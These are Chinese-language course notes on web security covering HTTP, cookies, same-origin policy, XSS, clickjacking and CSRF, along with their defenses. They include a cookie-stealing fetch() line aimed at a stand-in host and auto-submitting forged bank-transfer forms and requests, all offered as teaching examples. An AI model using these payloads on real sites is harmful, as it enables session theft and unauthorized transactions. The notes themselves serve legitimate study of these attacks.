# 2020 程安 Web筆記1 (XSS.CSRF) ###### tags: `程式安全` `web` ## What is web :::info Q:從瀏覽器輸入`http://example.com/`到看到畫面之間發生了什麼事? ::: > 1. URL解析: > -- 協定類型: `http` > -- server domain name: `example.com` > 2. 送DNS Query到DNS Server來獲得Domain name對應的IP address(`93.184.216.34`) > 3. 向`93.184.216.34`的`80port`(HTTP)發出建立TCP/IP的請求(`SYN`)來傳輸檔案 > -- TCP三方交握 > 4. 經由TCP/IP發送`HTTP request` > -- get method : 只需要一個封包(同時傳header跟data) > -- post method : 先傳header,等到server回傳status code `100 continue`之後,再傳data封包 > 5. server回應`200 OK`以及data > 6. 向server傳送`FIN`封包來表示要關閉連線(也可以由server端發起) > -- TCP四次揮手(4-way handshake) ### 前端及後端 ![](https://i.imgur.com/YaZVeOt.png =400x300) - 前端: 瀏覽器部分 - 後端: HTTP protocol ### URL(Uniform Resource Locator) - 格式 `[protocol]://[domain](:[port])(/[path])(?[query])(#[fragment])` - `fragment`是給瀏覽器看的,通常拿來定位網頁的位置(ex 第幾行) ### HTTP Request - ex `http://example.com/foo/bar?q=bazz` ![](https://i.imgur.com/d7cArWo.png =250x) - `POST`代表用POST method送http request - 其他: GET. DELETE. PUT. ...也可以自定義 - depend on瀏覽器 - 藍格子代表space - `HTTP/1.1`代表HTTP版本為1.1 - `\r\n` - Carriage Return: \r (0x0d) : 回到本行行首 - Line Feed : \n (0x0a) : 換行 - 第2-4行(第五行`\r\n`之前)為header - 第五行之後的內容為body - GET method沒有body - GET vs POST ![](https://i.imgur.com/3PgVngC.png) $\Rightarrow$ 通常POST會拿來處理較複雜的操作,但還是可以用GET硬幹(看瀏覽器怎麼處理) ### HTTP response - ex ![](https://i.imgur.com/E59jQvZ.png =400x200) - status code | 狀態碼 | 代表 | example</br>(code+reason phrase) | |:------:| ----------------------------------------- | :-------------------------------------: | | 1xx | 資訊回應(換protocol</br>或需要繼續傳東西) | 100 Continue</br>101 Switch protocols | | 2xx | 成功回應 | 200 OK | | 3xx | 重定向訊息 | 302 Found | | 4xx | client錯誤回應 | 403 Forbidden</br>404 Not Found | | 5xx | server錯誤回應 | 502 Bad Gateway | #### response body - 由三個部分組成 1. HTML : 大概架構 2. CSS : 加上顏色/美觀 3. JavaScript : 讓網頁可以做複雜的事情(ex跟user溝通) ## 後端安全 -- Cookie - 因為HTTP是一個stateless的protocol > server不會認得是哪個client,是否曾經傳過request > ex google的web server不會記得你是否有登入 - 因此利用cookie來記錄這些資訊(確認使用者身分) > ex 拿學生證進入宿舍的人 > - 當一群人(client)一起進入宿舍時,如果有正確學生證(cookie)的人才會放行 - cookie的所屬範圍為domain - subdomain也可使用該cookie - 同domain但不同port之間的cookie也可互相存取 - SOP(same origin policy) - **同domain同port同protocol**的資料才可互相存取 - HTTP cookie 1. Client向Server發送HTTP request ![](https://i.imgur.com/HcNCwCe.png =200x100) 2. Server收到回應之後回傳set-cookie header,給予一個供server比對的cookie值(session id) ![](https://i.imgur.com/1FBzYyS.png =300x50) 3. Client收到之後將cookie級其值存到browser的cookie存放區以及其所屬domain(Server),過期時間,etc 4. 之後每次Client向同一個Server送request時,都會帶上cookie ![](https://i.imgur.com/DyGrnez.png =250x100) 5. Server會拿cookie值(session id)比對server中的值,來確認使用者資訊 | number | user | | :----: | :---: | | **777** | Alice | | 888 | Bob | :::info 因此,若可以知道其他user的session id, 就可以把cookie值設為其session id來偽裝為該user做某些事 $\Rightarrow$ 實務上,通常session id通常會是一個**random值**( $\because$ 無法預測) ::: ### Cookie的一些安全性相關attribute - ex Server的set-cookie header可以帶一些attribute ```Set-Cookie: number=777; HttpOnly; Secure; SameSite=Strict``` 1. `HttpOnly` - 在 URL 位置輸入`javascript: alert(document.cookie)`,可以看到該 domain 的 cookie - 若cookie被設為`HttpOnly`, JavaScript就**無法access cookie** 2. `Secure` - `Secure`表示**只能用**HTTPS - HTTP vs HTTPS: HTTP是明文傳送,HTTPS則是加上SSL/TLS加密 - HTTP的話如果封包被攔截,明文cookie就會被人撿走 3. `Domain` - 規定該cookie只能在某domain下使用(包含subdomain) - 如果沒設定預設為該server的domain 4. `Path` 5. `SameSite` - 設定cross site請求是否能帶上該cookie - 用來預防SOP bypass及CSRF攻擊(跨站偽造請求攻擊) > ex. > - Client在`a.meow.com`這個地址對`b.meow.com`中的圖片request > --> 視為same-site,因為都在`meow.com`這個domain下 > > - Client在`a.meow.com`這個地址對`a.dog.com`中的圖片request > --> 則視為cross-site > > - 而`my_proj.github.io`對`ur_proj.github.io`中的圖片request > --> 也視為cross-site > 因為若有像`github.io`這樣的服務商後綴,會被看成不同的網站 - 3種值 1. `None` : same-site request及cross-site request皆可帶上該cookie 2. `Strict` : 限制只有same-site request才可帶上該cookie 3. `Lax` : same-site request與部分的cross-site request(ex GET request)才可以帶上該cookie ## 前端安全 ### SOP(Same Origin Policy)同源政策 - 在Client端,只有同源的website才可共享彼此的資源 - 同源 = 同domain & 同port & 同protocol ![](https://i.imgur.com/j5OTyzE.png) - 通常來說不同源之間彼此不共享資源,但**允許做寫入** - 但還是有可以read的特例 - 允許讀進不同源網站的js或css : - `<script src=...>` - 但無法得到該script的詳細錯誤資訊,防止變成攻擊點(利用錯誤資訊來讀取server內容) - load不同源網站的圖片,影片,... - `<img src=...>` - 但無法讀取該圖片的raw pixel - 也可以用iframe來嵌入不同源的網站 - ex yahoo首頁上很多廣告(? - ... ### XSS(Cross-site Scripting) - Server沒有過濾掉input中的特殊符號,造成攻擊者可以在input中塞script,進而被瀏覽器執行 - 三種類型 1. Self-XSS : 受害者自己輸入xss payload才能成功 - 在url輸入 `fetch("http://malicious.com/?" + document.cookie)`,攻擊者就可以獲得妳的cookie 2. Reflected XSS : 輸入的script直接反映在瀏覽器上 3. #### some tricks - 因為有些input會濾掉一些特殊作用的tag(ex <script>),因此可以利用一些較無安全性的tag來測試是否能達成html injection - ex. `<h1>header</h1>`, `<marquee>跑馬燈</marquee>` #### Mitigation 1. 瀏覽器上的X-XSS protection - 比對query pattern跟Response內文是否相同 > 但只適用於reflected型 > 如果是儲存型的不適用 - 但此feature已經不再使用,因為容易誤判,也可以被bypass 2. CSP(Content Security Policy) - 放在HTTP Response header中 - browser會去parse response來判斷哪些是trusted resource i.e. 哪些可以load進來 - ex. 代表只有來自`example.com`的javascript source可以load進來,不會執行任何inline script ![](https://i.imgur.com/EMwRmrH.png =500x100) `CSP的定義方法還有很多種,常用的有hash跟nonce` ![](https://i.imgur.com/4D1dxvK.png =500x140) ### Clickjack ![](https://i.imgur.com/oAxHe0j.png) > 上面可能嵌了你看不到的iframe,如果按下去可能會不小心執行到非預期的東西 - mitigation - 在HTTP response header加入`X-Frame-Options`:防止別人用iframe嵌你的page > X-Frame-Options : DENY > X-Frame-Options : SAMEORIGIN - 用CSP的`frame-ancestors`限制別人如果要iframe你的page要符合甚麼樣的條件 - 設定`SameSite`cookie ### CSRF(Cross site request forgery) #### GET為例 - 如果A傳送了一個網站給B,且頁面裡面有`<image src='http://bank.com/transfer?recver=A&amount=100>`,若B訪問了該網頁,browser看到該行就會送一個GET request給`bank.com/transfer`,而因為**cookie是綁定domain**的,因此browser在送request時就帶上B屬於`bank.com`的cookie $\Rightarrow$ `bank.com` server 看到是B的cookie之後,就理所當然地認為是B發的request,因此就將100塊轉給A已達成攻擊 #### POST一樣可以做到(弄成form的形式,並且一被訪問就送出) ```html <form id='f' method='POST' action='http://bank.com/transfer'> <input type='text' name='recver' value='A'> <input type='number' name='amount' value='100'> </form> <script>document.getElementById('f').submit()</script> ``` $\Rightarrow$ 送出的`http post request`就會長得像這樣 ```html POST /transfer HTTP/1.1 Host : bank.com Cookie : sessid=q73wMAPiH27B3whH # B's Cookie Content-length=19 recver=A&amount=100 ``` #### Mitigation - POST的方法中,在form中加上一個`csrf_token` - csrf_token是一個不可預測的nonce - 因此攻擊者無法得知csrf_token ![](https://i.imgur.com/F8YnEpm.png) ## 可以送request的方法 :::info Note: - 可以送Request的html tag - img : GET - iframe : GET - form : 可指定method - 可以送Request的JavaScript - fetch : 後面接**JSON格式**,可指定method - fetch(url, {..., method:'POST', ...}) - XMLHttpRequest : 可指定method - ex ```javascript var xhr = new XMLHttpRequest() xhr.open('POST', 'http://bank.com/transfer') //xhr.open('GET', 'http://bank.com/transfer?recver=A&amount=100') xhr.setRequestHeader('Content-Typpe','application/x-www-form-urlencoded; charset=UTF-8') // header, value // POST要送出表單一定要設置Content-Type xhr.send('recver=A&amount=100') // 如果是GET method這邊就send(null) ``` - 如果要送其他method?(ex PUT)或送複雜不常見的header(ex X-AUTH) $\Rightarrow$ 必須要先通過[CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#Simple_requests)(Cross Origin Resource Sharing)的限制 > 先送一個OPTIONS request(稱作Preflighted requests)給server > server同意之後才能繼續 :::